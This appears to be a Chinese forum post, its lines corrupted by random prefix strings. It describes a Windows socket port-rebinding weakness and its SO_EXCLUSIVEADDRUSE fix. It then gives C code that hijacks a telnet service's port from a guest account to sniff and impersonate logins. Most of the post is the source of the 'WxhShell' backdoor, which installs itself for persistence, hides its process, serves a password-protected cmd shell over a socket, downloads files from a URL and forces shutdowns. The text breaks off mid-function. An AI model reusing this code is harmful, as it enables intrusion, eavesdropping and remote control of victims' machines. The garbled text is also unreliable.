在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WLA_YMlA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'e8d["N @a{v>) saddr.sin_family = AF_INET;
E].a|4sh IcNI uv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l.LFlwt -a#AE|` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+[go7A$5 p>hCh5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rea}Uq+po [&k& $04_ 这意味着什么?意味着可以进行如下的攻击:
%PNm7s4x2 -2mOgv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
F$pd]F!# h;h,dx 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
iH -x Q(eQZx{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
nD{;4$xP` Y3F.hk}O 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
41_sSqq;^ Tx&qp#FS 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#._6lESK ]k%KTvX*G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Vu8-Cy>Q? >ww1:Sn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R^w >aZoJ ?VHwYD.B #include
>w2WyYJYH #include
p9bxhnn| #include
#esu@kMU` #include
rzY@H }u DWORD WINAPI ClientThread(LPVOID lpParam);
za 4B+&JJ int main()
7QRvl6cv {
4Fht(B| WORD wVersionRequested;
6P[O8 DWORD ret;
/[|md0, WSADATA wsaData;
'm.XmVZL% BOOL val;
t7`Pw33#kY SOCKADDR_IN saddr;
_O71r}4 SOCKADDR_IN scaddr;
Q,+*u%/u int err;
Gt*<? SOCKET s;
,'0oj$~S: SOCKET sc;
N`^W*>XB int caddsize;
T;e (Q,!H HANDLE mt;
V$]a&wM<5 DWORD tid;
V?pO ~qo wVersionRequested = MAKEWORD( 2, 2 );
Bd]DhPhJ err = WSAStartup( wVersionRequested, &wsaData );
C=f(NpyD6 if ( err != 0 ) {
v-]-wNqT printf("error!WSAStartup failed!\n");
%>}7$Y% return -1;
Z["nY&.sI }
~5?n&pF saddr.sin_family = AF_INET;
D&lXi~Z%. -D':7!@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9fLP&v wtick~) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[~%;E[ky$ saddr.sin_port = htons(23);
V$%Fs{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D,R2wNF {
Hu!>RSg,,2 printf("error!socket failed!\n");
7)X&fV6<8 return -1;
Q`fA)6U }
Bc,z] val = TRUE;
!6`nN1A //SO_REUSEADDR选项就是可以实现端口重绑定的
a5+v)F/= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[t\Mu}b {
tTxo:+xg printf("error!setsockopt failed!\n");
OehB"[;+ return -1;
*y@]zNPD }
hLA=7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v=^)`C6Ma //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yxq!.72 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h | 8o!^ZOmU< if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y#W8] <dS" {
:fQ*'m, ret=GetLastError();
~./u0E printf("error!bind failed!\n");
I z@x^s return -1;
FnU;n }
nff ]Y$FB listen(s,2);
T1TZ+\ while(1)
.-*nD8b {
+0042Yi caddsize = sizeof(scaddr);
LOo# //接受连接请求
WY UU- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/JYi^rZ if(sc!=INVALID_SOCKET)
x1ex}_\ {
h^X.e[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
l3$?eGGM if(mt==NULL)
p;01a {
O/"&?)[v printf("Thread Creat Failed!\n");
7im;b15j`' break;
FA GVpO[ }
U9OF0=g }
aM1JG$+7 G CloseHandle(mt);
cHd39H9 }
d$
7b closesocket(s);
u _^=]K; WSACleanup();
bhT]zsBK return 0;
9~af\G }
{u][q
&n DWORD WINAPI ClientThread(LPVOID lpParam)
P Qay
sdb {
+u.L6GcB SOCKET ss = (SOCKET)lpParam;
f%l#g ]] SOCKET sc;
? +!?$h unsigned char buf[4096];
T}On:*& SOCKADDR_IN saddr;
tq93 2M4 long num;
M_uij$1- DWORD val;
#&gy@!a~ DWORD ret;
eT?LMBn\ //如果是隐藏端口应用的话,可以在此处加一些判断
+t6m>IBu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7K4%`O
saddr.sin_family = AF_INET;
hY'%SV
p saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h2snGN/{Hb saddr.sin_port = htons(23);
t)+dW~g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&(7Io? {
c *no H[ printf("error!socket failed!\n");
arrcHf4O return -1;
o%7yhCY }
D/>5\da+y val = 100;
a-=apD1RvG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w+D5a
VJ {
9)X<}*(qo ret = GetLastError();
4\RuJx return -1;
)QT+;P. }
ddxv.kIj. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S?<Qa; {
l"#,O$x"#@ ret = GetLastError();
&*-2k-16 return -1;
=V4!t|(7 }
rKq]zHgpo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mK4A/bsE {
- d6> printf("error!socket connect failed!\n");
[Xg"B|FD0 closesocket(sc);
~:Nyv+g,$ closesocket(ss);
v}i}pQ\DK return -1;
XCoOs<O:@ }
&GAx*.L while(1)
aKZD4; {
Aed"J5[a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{F[Xe_=#" //如果是嗅探内容的话,可以再此处进行内容分析和记录
%m`QnRX?D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
vA `.8U 0S num = recv(ss,buf,4096,0);
QkAwG[4 if(num>0)
64@s|m* send(sc,buf,num,0);
6Rj
X else if(num==0)
RPQ)0.O7 break;
rY.:}D num = recv(sc,buf,4096,0);
,j<"~"]
= if(num>0)
,)G,[ih send(ss,buf,num,0);
}% *g\%L else if(num==0)
i&KODhMpP break;
@YELqUb* }
p
IToy;] closesocket(ss);
?HTwTi5!) closesocket(sc);
/|f]L9)2< return 0 ;
ualtIHXK) }
b iD7(AK WBIS 4 vphLAm ==========================================================
Wi<Fkzj NM ]/OKs'H 下边附上一个代码,,WXhSHELL
lB-7. ~sD'pS ==========================================================
/jAs`"U m` cG&Ar5 #include "stdafx.h"
1<UQJw45 o6oYJ`PY #include <stdio.h>
P8f-&( #include <string.h>
mLSAi2Y #include <windows.h>
We2=|AB #include <winsock2.h>
ZWH`s #include <winsvc.h>
|)?T([ #include <urlmon.h>
sBMHf9u Yaqim<j #pragma comment (lib, "Ws2_32.lib")
fz*6 B NJ #pragma comment (lib, "urlmon.lib")
HYS7=[hv6 !RI&FcK #define MAX_USER 100 // 最大客户端连接数
5l#)tX.by #define BUF_SOCK 200 // sock buffer
\9DTf:!4Z #define KEY_BUFF 255 // 输入 buffer
|rQ;|+. Rx.0P6s #define REBOOT 0 // 重启
nYHk~<a #define SHUTDOWN 1 // 关机
J4<*KL~a t!tBN #define DEF_PORT 5000 // 监听端口
;uy/Vc5,Y -|5&3HVz #define REG_LEN 16 // 注册表键长度
<G={Vfr #define SVC_LEN 80 // NT服务名长度
aryr (;N_lF0 // 从dll定义API
~JJv 2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a/1{tDA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X9J^Olq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9TLP( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;_!;D#: $si2H8 // wxhshell配置信息
QXCI+Fcg struct WSCFG {
_kSus int ws_port; // 监听端口
}PVB+i M char ws_passstr[REG_LEN]; // 口令
e j~ /sO int ws_autoins; // 安装标记, 1=yes 0=no
#R$!| char ws_regname[REG_LEN]; // 注册表键名
|8"HTBb\CW char ws_svcname[REG_LEN]; // 服务名
ofJ@\xS char ws_svcdisp[SVC_LEN]; // 服务显示名
J7H1<\=cJb char ws_svcdesc[SVC_LEN]; // 服务描述信息
z3,z&Ra char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%PpB$ int ws_downexe; // 下载执行标记, 1=yes 0=no
%/7`G-a.B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qlu yJpt char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@({65 gJ* 1<*-,f };
SFHa(JOS [M.Vu // default Wxhshell configuration
>}iYZ[ V struct WSCFG wscfg={DEF_PORT,
51A>eU| "xuhuanlingzhe",
GZ"O%:d 1,
iiu\_ a=0b "Wxhshell",
V>hy5hDpH "Wxhshell",
F9hCT) "WxhShell Service",
[ 6M8a8C
"Wrsky Windows CmdShell Service",
$d'Gh2IGA "Please Input Your Password: ",
<_+8 c{G 1,
BN=,>-O% "
http://www.wrsky.com/wxhshell.exe",
VH/_0 "Wxhshell.exe"
\K=Jd#9c };
&Z?uK, 8 WE3l*7<@ // 消息定义模块
<H.Ml>q:r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z1&8U=pax char *msg_ws_prompt="\n\r? for help\n\r#>";
\6o
~ i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d%<Uh(+: char *msg_ws_ext="\n\rExit.";
W\"cp[b char *msg_ws_end="\n\rQuit.";
<B)lV'!Bd char *msg_ws_boot="\n\rReboot...";
QS[%`-dR2 char *msg_ws_poff="\n\rShutdown...";
*N 't ; char *msg_ws_down="\n\rSave to ";
\(Iy>L. Ut<_D8Tzx char *msg_ws_err="\n\rErr!";
{x+jFj. char *msg_ws_ok="\n\rOK!";
_+GCd8d d(tq;2- char ExeFile[MAX_PATH];
W];4P=/ int nUser = 0;
VGSe<6Hh HANDLE handles[MAX_USER];
G 2mv6xK' int OsIsNt;
a 3HS!/ "|hmiMdGB SERVICE_STATUS serviceStatus;
2`;
0y M SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y!KGJ^.mF
1\1o65en // 函数声明
mesR)fTI int Install(void);
2a{eJ89f int Uninstall(void);
>q`G?9d2 int DownloadFile(char *sURL, SOCKET wsh);
%P?W^mI int Boot(int flag);
"*UHit;"+{ void HideProc(void);
1iUy*p65: int GetOsVer(void);
6d_l[N int Wxhshell(SOCKET wsl);
{W0@lMrD void TalkWithClient(void *cs);
`.n[G~*w~1 int CmdShell(SOCKET sock);
E@?jsN7 int StartFromService(void);
"`lRX int StartWxhshell(LPSTR lpCmdLine);
RAe:$Iv$!v >4;A(s` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2D
"mq~V VOID WINAPI NTServiceHandler( DWORD fdwControl );
^uYxeQY[ [;c#LJ/y // 数据结构和表定义
djk SERVICE_TABLE_ENTRY DispatchTable[] =
sYvO"| {
uvT]MgT {wscfg.ws_svcname, NTServiceMain},
l?ofr*U&-x {NULL, NULL}
*p
VKMmU };
b.$Gc!g =!7yX;| // 自我安装
{1FYHM^ int Install(void)
Zf|f $1- {
xD1w#FMlQs char svExeFile[MAX_PATH];
bY#> HKEY key;
}lhJt|q c strcpy(svExeFile,ExeFile);
/q8n_NR BH=vI<D // 如果是win9x系统,修改注册表设为自启动
eI- ~ +. if(!OsIsNt) {
$L?stgU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<#:"vnm$j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y1+f(Q RegCloseKey(key);
WO]dWO6Mm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m~#O
~) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Hq=RtW2 RegCloseKey(key);
4rv3D@E return 0;
Ix"uk6 h }
i2EB.Zlv }
Ehg5u'cj }
Y]P]^3 else {
R:11w#m7w HdVGkv/ // 如果是NT以上系统,安装为系统服务
6zyozJA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2&dtOyxo> if (schSCManager!=0)
)PZ'{S {
e KET8v[ SC_HANDLE schService = CreateService
Kg9REL@,s (
k0%4&pU schSCManager,
ky,+xq wscfg.ws_svcname,
I( pU_7mw wscfg.ws_svcdisp,
P*G&pitT SERVICE_ALL_ACCESS,
nsYS0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
xEGI'lt SERVICE_AUTO_START,
w<5w?nP+Oh SERVICE_ERROR_NORMAL,
7|\[ipVX:3 svExeFile,
U1dz:OG> NULL,
,_p_p^Ar\4 NULL,
aiea&aJ NULL,
zf#V89!]C" NULL,
!DD|dVA{ NULL
B\9ymhx;g% );
6:J @ if (schService!=0)
xj(&EGY: {
.BZw7
YV CloseServiceHandle(schService);
(1*?2u*j CloseServiceHandle(schSCManager);
v@[MX- ,8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T5o9pmD strcat(svExeFile,wscfg.ws_svcname);
R|`}z"4C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#}l}1^$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#BF(#1: RegCloseKey(key);
gZ:)l@ Wu return 0;
.BuY[,I+ }
db4Ol= }
LKtr>u CloseServiceHandle(schSCManager);
!1;DRF }
UEt#;e }
W.{#Pg1Da HX?5O$<<N return 1;
EPW
Iu)A }
,:j^EDCsaJ oljl&tuQy // 自我卸载
+ ,0RrD ) int Uninstall(void)
}fUV*U:3 {
7'd_]e-. HKEY key;
$U3s:VQ ' IYb@@Jzo if(!OsIsNt) {
xqX~nV#TB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~%m-}Sxc RegDeleteValue(key,wscfg.ws_regname);
2 ES .)pQ RegCloseKey(key);
-TSn_XE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1P@&xcvS\ RegDeleteValue(key,wscfg.ws_regname);
J8~3LE
)G RegCloseKey(key);
f?[IwA` return 0;
b2duC }
e%o6s+" }
>DpnIWn }
rQ
LNo, else {
"EDn;l-Q p~En~?< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3T%WfS+ if (schSCManager!=0)
8 }nA8 J {
fo^M`a!va0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Wl?*AlFlk if (schService!=0)
@?f3(Gh, {
RV.*_FG if(DeleteService(schService)!=0) {
52,p CyU CloseServiceHandle(schService);
qJKD|=_ CloseServiceHandle(schSCManager);
hT#[[md" return 0;
`fj(xrI }
mM&H;W CloseServiceHandle(schService);
8S&` }
JIQS'r CloseServiceHandle(schSCManager);
v_En9~e^n }
P] ouLjyq }
zsc8Lw \|L@ return 1;
\ 2*<Pq }
VrrCW/o 1)X%n)2pr // 从指定url下载文件
3_+-t5 int DownloadFile(char *sURL, SOCKET wsh)
K3M<% {
0,{Dw9W: HRESULT hr;
j"7 z char seps[]= "/";
L Lm{:T7 char *token;
w%g@X6 char *file;
Q_x/e|sd char myURL[MAX_PATH];
ebcGdC/%> char myFILE[MAX_PATH];
X)$3sTj ;Z%ysLA strcpy(myURL,sURL);
AM#VRRTU token=strtok(myURL,seps);
h)~KD% while(token!=NULL)
Yy@;U]R {
a{mtG{Wc file=token;
VX2KE@ token=strtok(NULL,seps);
j_H{_Ug }
s
'u6Ep/V ^8a,gA8. GetCurrentDirectory(MAX_PATH,myFILE);
-"UK NB! strcat(myFILE, "\\");
(&=-o( strcat(myFILE, file);
SL?
!
RQ send(wsh,myFILE,strlen(myFILE),0);
D: NBb!
send(wsh,"...",3,0);
MLG%+@\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"[q/2vC if(hr==S_OK)
FAz shR return 0;
z
AacX@ else
DyD#4J)E return 1;
E;fYL]j/oZ bW7tJ }
v[q2OWcL ;oH17 // 系统电源模块
}3!83~Qbx int Boot(int flag)
s*>s;S?{| {
*!ZU"q}i HANDLE hToken;
k3da*vwE TOKEN_PRIVILEGES tkp;
\SHYwD}*Pr A|,\}9)4X[ if(OsIsNt) {
y+)][Wa0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5hUYxF20h8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8$io^n\i tkp.PrivilegeCount = 1;
|CexP^;!U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
47ppyh6@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0m(/hK if(flag==REBOOT) {
rW0# 6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
. p^='Kz? return 0;
I3uaEv7OZc }
gLa#y else {
F42r]k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@F]6[ return 0;
Cg
|_) _w }
Oz#$x }
3;zJ\a.+ else {
?}e8g if(flag==REBOOT) {
Og4 X3QG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
DN2K4%cM%' return 0;
>_!pg<{, }
>pW8K[ else {
R] tHd=kf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5)+(McJC return 0;
AyB-+oTf( }
/pan{.< k }
8p,q9Ey ,B(UkPGT return 1;
/J]Yj, }
T;XEU%:LK @s}I_@ // win9x进程隐藏模块
7L|w~l7R~ void HideProc(void)
pk%I98! Jy {
,%w_E[2 UTGR{>=> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
OkGg4X|9 if ( hKernel != NULL )
8 k9(iS {
G(~d1%( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M=HW2xn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
" ^u FreeLibrary(hKernel);
,UopGlA
, }
4(o: #9I Q6@}t&k4C return;
y44FejH(v }
RIJ+]uir4 $v#Q'?jE // 获取操作系统版本
sesr`,m., int GetOsVer(void)
:~3sW< PR {
I&l 1b> OSVERSIONINFO winfo;
2+M(!FHfy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*[*LtyCQt4 GetVersionEx(&winfo);
R/R[r> 1)6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\[Op:^S return 1;
i;;CU9`E2q else
=K I4 return 0;
RXh0hD }
kbJ/7 mq`N&ABO!K // 客户端句柄模块
v%n'_2J =^ int Wxhshell(SOCKET wsl)
3Q*K+(`{ {
r5%K2q{ SOCKET wsh;
#F@53N struct sockaddr_in client;
!f-mC,d DWORD myID;
5\8Ig f> 6e&Y%O'8 while(nUser<MAX_USER)
]`0(^)U& {
WY_}D!O int nSize=sizeof(client);
XeX0\L')R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I~H:-"2 if(wsh==INVALID_SOCKET) return 1;
+8Yt91 ;29q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-BfZ P5 if(handles[nUser]==0)
3Wxl7"!x m closesocket(wsh);
b)9bYkd else
wUHuykF nUser++;
Z+`mla }
S!A)kK+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Zy,U'Dv A\ds0dUE return 0;
!;.i#c_u }
} R!-*Wk 8fFURk // 关闭 socket
9_V'P]@ void CloseIt(SOCKET wsh)
..V6U"/ {
htk5\^(X closesocket(wsh);
85Zy0l nUser--;
28JWQ%- ExitThread(0);
&1YAPxX }
A]`63@- . wr,X@y%(! // 客户端请求句柄
i`Fg kABw void TalkWithClient(void *cs)
4N&
VT" {
|(N4ZmTm dDbPM9]5 SOCKET wsh=(SOCKET)cs;
2LGeRw char pwd[SVC_LEN];
oRFHq>-.g char cmd[KEY_BUFF];
>i7zV`eK char chr[1];
]S9~2;2^, int i,j;
kKAK;JQ <\!+J\YTA while (nUser < MAX_USER) {
J7W]Str +C1/02ZJ if(wscfg.ws_passstr) {
L3iYZ>] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"^VKs_U8o //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%myg67u //ZeroMemory(pwd,KEY_BUFF);
x9XQ i=0;
u'M\m7 while(i<SVC_LEN) {
|K| c s<Pk[7`* // 设置超时
]n1@!qa48 fd_set FdRead;
.9{Sr[P struct timeval TimeOut;
[U@#whE O FD_ZERO(&FdRead);
unKTa*U^q FD_SET(wsh,&FdRead);
cdVh_"[ TimeOut.tv_sec=8;
Ql&5fyW TimeOut.tv_usec=0;
Q4\EI=4P] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QyQ&xgS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<iVn!P fiqeXE?E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d]6.$"\"p pwd
=chr[0]; &l2oyQEF)
if(chr[0]==0xd || chr[0]==0xa) { }md[hi J
pwd=0; .P+om<~B
break; PCDsj_e
} <3zA|
i++; +F$c_
\>
} dPgN*Bdv
Jj4!O3\I
// 如果是非法用户,关闭 socket +#7e?B
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W- 5Z"m1I
} O`1_eK~1<
\)'s6>58|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ts/rV#s~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FB-?{78~
V`qHNM/t
while(1) { iV;X``S
u^T)4~(
ZeroMemory(cmd,KEY_BUFF); CIAHsbn.A
Lb;:<
// 自动支持客户端 telnet标准 SVWtKc<
j=0; 4%>iIPXi.(
while(j<KEY_BUFF) { Uu
~BErEC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SE/GT:}
cmd[j]=chr[0]; *-"DZ
if(chr[0]==0xa || chr[0]==0xd) { Wm\HZ9PN
cmd[j]=0; 0)n#$d>
break; Tl"GOpH\]
} m [7@l
j++; }@%A@A{R
} >5-z"f
G6wBZ?)k
// 下载文件 !j[Oyr|
if(strstr(cmd,"http://")) { h}r64<Y2{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |2w,Np-
if(DownloadFile(cmd,wsh)) ,?g}->ZB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HLm6BtE
else ]FV,}EZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uLXMEx<^
} ^x(BZolkm
else { E-jL"H*
V("@z<b|
switch(cmd[0]) { gz8>uGx&V!
QII-9RxX"
// 帮助 O2./?Ye
case '?': { A3D"b9<D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UkK`5p<D7
break; >__t 2
} uj#bK
7
// 安装 7`-f N|
case 'i': { l%XuYYQ
if(Install()) 5Y77g[AX2-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VBV y3fnj
else W&>ONo6ki
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L-Qc[L
break; }jTCzqHW]
} uFPJ}m[>5
// 卸载 yneIY-g(p
case 'r': { T=Q"|S]V
if(Uninstall()) Mg3>/!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2;X{ZLo
else b.HfxYt(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); trD-qi
break; ^W!w~g+
} #mu3`,9V
// 显示 wxhshell 所在路径 2_i/ F)W
case 'p': { Sh&n
DdF"
char svExeFile[MAX_PATH]; }i,LP1R
strcpy(svExeFile,"\n\r"); o"h*@.
strcat(svExeFile,ExeFile); aVTTpMY
send(wsh,svExeFile,strlen(svExeFile),0); ~2 aR>R_nT
break; ZH6#(;b
} 4rkj$
// 重启 cb|cY Co5
case 'b': { w0W9N%f#=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pxC:VJ;
if(Boot(REBOOT)) 3i1e1Lj1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l0AVyA4RFV
else { Qb "\j
closesocket(wsh); JG6"5::
ExitThread(0); cTlitf9
} @~WSWlQW
break; {[B^~Y>Lr
} g=iPv3MG
// 关机 ]M2<b:yo
case 'd': { 2e~ud9,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {|dU|h
if(Boot(SHUTDOWN)) -jN:~.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J*V@huF
else { rqa?A}'
closesocket(wsh); q u>5 rg-
ExitThread(0); EPO*{bN7O
} Tgxxm
break; B#Sg:L9Tr'
} %K@s0uQ
// 获取shell bWp40&vx
case 's': { ~:h-m\=8Y
CmdShell(wsh); ::'DWD1
closesocket(wsh); %A 4F?/E
ExitThread(0); +-8u09-F
break; FUy!j|W6f
} 2AN6(k4o
// 退出 s^O>PEX&<I
case 'x': { E<=h6Ha
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C8^=7HEB
CloseIt(wsh); $~ 6Y\O
break; (jQ]<q%P
} tzl`|UwF
// 离开 #s"|8#
case 'q': { AH?T}t2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); T2Duz,
closesocket(wsh); 5Z
(1&
WSACleanup(); gie.K1@|
exit(1); VE_% /Fs,
break;
LHy-y%?i
} X0G
Mly
} fK-tvP0}*
} lawjGI
R
2.y=P8N
// 提示信息 XLG6f(B= F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {~cG'S Y%
} z'iAj
} $inpiO|s
D)0pm?*5A
return; %M?A>7b
} 8|9JJ<G7
c{X>i>l>
// shell模块句柄 &RSUB;ymL
int CmdShell(SOCKET sock) ' pnkm0=`
{ ]U9f4ODt
STARTUPINFO si; MSef2|"P#
ZeroMemory(&si,sizeof(si)); .Ioj]r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UXU!sd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (t^&L
PROCESS_INFORMATION ProcessInfo; Os1o!w:m5
char cmdline[]="cmd"; :Ng4?
+@r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;|nC;D]
return 0; [X9s\H
} drv"I[}{A
MXQS6F#
// 自身启动模式 [xaglZ9HNo
int StartFromService(void) 4KO2oIR
{ kTCWyc
typedef struct Kr;7~`$[
{ K@0gBgN
DWORD ExitStatus; G"_ 8`l
DWORD PebBaseAddress; \W^+aNbv=8
DWORD AffinityMask; :Fvd?[
DWORD BasePriority; ^F}HWpF_
